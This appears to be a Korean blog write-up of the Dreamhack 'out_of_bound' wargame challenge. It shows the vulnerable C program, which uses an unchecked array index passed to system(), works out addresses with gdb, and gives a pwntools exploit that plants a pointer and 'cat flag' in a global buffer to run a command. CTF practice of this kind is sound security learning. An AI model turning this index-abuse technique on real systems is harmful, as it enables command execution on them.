https://dreamhack.io/wargame/challenges/11
로그인 | Dreamhack
페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!
dreamhack.io
1. 소스코드 확인
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
- 소스코드를 확인해본 결과 이름을 물어보고 원하는 커맨드를 index형식으로 불러오는 프로그램임
- 여기서 보이는 취약점은 system(command[idx])로 idx 값을 command 값의 index 이상을 줘버린다면 이상한 명령어를 불러올 수 있는 상황
2. 프로그램 실행

- 소스코드에서 예상한 바와 같이 이름을 입력하고 숫자를 입력하면 원하는 숫자 index의 명령어를 실행할 수 있음을 확인
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- 실행 파일의 환경은 checksec 명령어를 활용하여 확인할 수도 있지만, dreamhack 페이지에 나와있음
3. 주소 확인
- 변수의 주소를 확인하는데 IDA를 사용해도 되지만, 이번엔 gdb를 이용하여 주소를 확인해보자


- name 변수의 주소값은 0x804a0ac, command 변수의 주소값은 0x804a060임을 확인할 수 있다.
- 두 주소의 차이는 76byte임으로 그림으로 본다면 다음과 같다

- 그렇다면 command의 1index는 4byte 이므로 command[19]은 name의 주소를 가르킴을 확인할 수 있다.
- 여기에서 32bit system 함수의 호출규약을 확인해보자.
int system(const char *command);
- 매개변수로 들어온 포인터의 주소 값을 실행함을 확인할 수 있다.
- 고로 다음과 같이 name에 name+4의 주소를 넣어두고 name + 4의 공간에 cat flag 문자열을 넣어둔다면 system('cat flag') 가 실행됨을 예상해 볼 수 있다.

4. payload 작성
from pwn import *
p = process('./out_of_bound')
add = 0x804a0ac
pay = p32(add + 4)
pay += b'cat flag'
p.recvuntil(b'Admin name: ')
p.sendline(pay)
p.recvuntil(b'What do you want?: ')
p.sendline(b'19')
p.interactive()
- name 함수에 pay 를 넣고 command의 ind로 19를 넣어줌
- 드림 핵 서버를 돌려서 할 떄는 p 변수에 process()가 아닌 remote()를 이용함
5. 결과

- 성공한 것을 확인할 수 있다.
'워게임' 카테고리의 다른 글
| [시스템 해킹] ssp_001 write-up (0) | 2026.02.05 |
|---|---|
| [시스템 해킹] basic_exploitation_003 write-up (0) | 2026.02.04 |
| [시스템 해킹] shell_bof write-up (0) | 2026.01.18 |
| [시스템 해킹] bof1 write-up (0) | 2026.01.16 |
| math.c write-up (0) | 2026.01.16 |